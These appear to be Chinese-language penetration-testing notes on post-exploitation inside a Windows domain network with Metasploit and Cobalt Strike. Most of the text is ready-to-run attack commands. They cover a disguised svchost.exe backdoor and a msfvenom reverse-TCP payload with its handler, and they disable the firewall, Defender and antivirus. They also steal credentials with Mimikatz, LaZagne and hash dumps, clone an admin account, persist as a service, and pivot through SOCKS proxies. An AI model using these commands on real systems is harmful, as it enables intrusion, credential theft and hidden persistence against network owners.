内网安全4-Metasploit和Cobaltstrike内⽹域渗透
上传了webshell之后
1.上传免杀后门,起一个名字为svchost.exe 的木马 2.netsh advfirewall set allprofiles state off 关闭防火墙 3.提权 msf getsystem 4.minikazt 抓取密码 5.收集密码⼯具-LaZagne.exe 6.msf执⾏run post/windows/manage/enable_rdp模块来打开远程桌⾯; 7.克隆admin net user guest /active:yes net user guest tttadmin.Com net localgroup administrators guest /add clone.exe guest administrator /clone 克隆admin账号 8.代理 cs上面:socks4 代理,建⽴了⼀条由攻击机到web服务器的socks通道,socks的服务端在攻击机,也是反向代理; msf上面:端口映射出来 portfwd add -l 7005 -r 172.10.200.20 -p 3389 9.作为一个服务自启动 sc create svchost binPath= C:\Windows\System32\shorvt.exe start= auto
msf 基本模块使用
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.164.134 LPORT=4444 -f exe > shell.exe 控制端: use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.164.134 set lport 4444 exploit
模块功能使用
getsystem 常规提权 执⾏run post/windows/manage/enable_rdp模块来打开远程桌⾯; run post/windows/manage/migrate #⾃动进程迁移 run post/windows/gather/checkvm #查看⽬标主机是否运⾏在虚拟机上 run post/windows/manage/killav #关闭杀毒软件 run post/windows/manage/enable_rdp #开启远程桌⾯服务 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列举当前登录的⽤户 run post/windows/gather/enum_applications #列举应⽤程序 run post/windows/gather/credentials/windows_autologin #抓取⾃动登录的⽤户名和密码 run post/windows/gather/smart_hashdump #dump出所有⽤户的hash run getgui -u hack -p 123 run post/windows/gather/enum_patches 补丁信息 run post/multi/recon/local_exploit_suggester 查询可利⽤的漏洞 netsh advfirewall set allprofiles state off #关闭防⽕墙 run post/windows/gather/enum_patches 补丁信息 run post/multi/recon/local_exploit_suggester 查询可利⽤的漏洞
meterpreter搭建反向socks4代理
run get_local_subnets #查看路由段 run autoroute -s 192.168.52.0/24 #添加路由⾄本地 run autoroute -p #打印当前路由信息 添加路由的⽬的是为了让MSF其他模块能访问内⽹的其他主机,即52⽹段的攻击流量都通过已渗透的这台⽬标 主机的meterpreter会话来传递。
添加socks4a代理的⽬的是为了让其他软件更⽅便的访问到内⽹的其他主机的服务。(添加路由⼀定要在挂代 理之前,因为代理需要⽤到路由功能) 编辑本地的代理服务: vim /etc/proxychains.conf 例如 socks4 本机ip 1080 然后在msf上开启开启代理功能: use auxiliary/server/socks4a options set srvhost 本机ip set srvport 1080 jobs //开启代理 测试: proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141 # -Pn和-sT必须要有 proxychains是⽆法代理icmp流量的,所以ping是没有⽤的。
MSF派⽣给CS
cs上配置常规的监听器:beacon http msf: meterpreter > background msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject # 设置与cs相同的 payload; msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http msf5 exploit(windows/local/payload_inject) > set lhost 192.168.10.128 msf5 exploit(windows/local/payload_inject) > set lport 4444 # 设置刚才获得session msf5 exploit(windows/local/payload_inject) > set session 1 msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true msf5 exploit(windows/local/payload_inject) > run
cs模块基本使用
使⽤portscan命令:ip⽹段 — ports端⼝ — 扫描协议(arp、icmp、none)— 线程(实战不要过⾼)。 portscan 192.168.52.0/24 445 arp 200
建立sokcs代理和listenter
右击:pivoting 枢纽--->>>sokcs server //建立sokcs代理 pivoting 枢纽--->>>listenter //在目标主机上建立一个监听器,用于多级代理链(我是这样认为的,还没有实践) View > Proxy Pivots //查看建立的代理 复制参数可以在msf中使用 msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理⾛。(setg全局设置) msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建⽴双向通道。 这⾥ip需要修改为CS服务器的ip。
内网常见的一些doc命令:
ipconfig /all 查看本机ip,所在域 route print 打印路由信息 net view 查看局域⽹内其他主机名 arp -a 查看arp缓存 net start 查看开启了哪些服务 net share 查看开启了哪些共享 net share ipc$ 开启ipc共享 net share c$ 开启c盘共享 net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建⽴空连接 net use \\192.168.xx.xx\c$ "密码" /user:"⽤户名" 建⽴c盘共享 dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user⽬录下的⽂件 net config Workstation 查看计算机名、全名、⽤户名、系统版本、⼯作站、域、登录域 net user 查看本机⽤户列表 net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器 net user hack hack123 /add net localgroup administrator hack /add net localgroup "Remote Desktop Users" hack /add 开启3389; REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netsh advfirewall set allprofiles state off #关闭防⽕墙 net stop windefend